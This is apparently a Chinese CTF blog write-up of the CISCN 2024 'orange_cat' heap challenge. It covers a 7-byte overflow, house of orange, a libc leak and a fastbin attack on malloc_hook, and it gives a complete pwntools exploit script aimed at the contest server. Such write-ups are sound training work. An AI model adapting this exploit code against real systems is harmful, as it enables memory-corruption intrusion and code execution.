orange_cat

ciscn2024-orange_cat

就出了这一道被打成50分的,我真菜狗一只啊

包含输入、修改、输出、删除的堆块题

  1. 输入函数:只限制了堆块的大小,不限制数量

image-20240518162412248

  1. 输出函数和删除函数都只能用一次

  2. edit函数存在7个字节的溢出

    image-20240518165434361

top_chunk 的后三位+size(不包括符号位,符号位要为1),&FFF为0

先用house of orange(这个网上讲的很好)将topchunk置为unsorted bin。

image-20240518165629185

创建一个0x60大小的块,从unsoterd bin中分割出来,再打印这个块,打印出对应的libc地址

image-20240518165748518

将这个块free掉,修改它的fd指针为伪造的fast_chunk,然后用fastbin attack 打malloc_hook。

另:其实不用add那么多次,一次直接改就行,只不过是边打边学的house of orange,刚开始没想明白,后来懒得删上面的了,因为会有些微的地址的差距,懒得再改了。

exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./pwn2')
p=remote('39.106.48.123',35999)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def debug():
    gdb.attach(p)
    pause(1)

def add(lenth,content):
    ru('Exit')
    sd(b'1')
    ru('length')
    sd(str(lenth))
    rl()
    sd(content)

def edit(lenth,content):
    ru('Exit')
    sd(b'4')
    rl()
    sd(str(lenth))
    rl()
    sd(content)

def dele():
    ru('Exit')
    sd(b'3')

def show():
    ru('Exit')
    sd(b'2')
sl('AAAA')

add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x1000,b'AAAAA')
add(0x1000,b'BBBB')
add(0x1000,b'BBBB')
add(0x1000,b"BBBB")
add(0x88,b"bb")

edit(0x8f,b'A'*(0x88)+p32(0xd71))

add(0x1000,b"ABCDEFGHIJKLMN")
#debug()
#show()
add(0x60,b'BB')
#debug()
#pause()
show()
ru('\x7f')
libc = ELF('/home/kali/Desktop/libc-2.23.so')
arena = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
hook = arena - 0x88 - 3 - 0x600
libc_base = arena -(0x7f96b13c4b78 -0x7f96b1000000  )-0x600
print(hex(arena))
print(hex(libc_base))
one_gadget = libc_base + 0xf03a4
dele()

payload = b'\x00'*19 + p64(one_gadget)

edit(8,p64(hook))

add(0x60,payload)
#debug()
add(0x60,payload)
#debug()

sd(b'1')
rl()
sd(b'80')

p.interactive()


  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值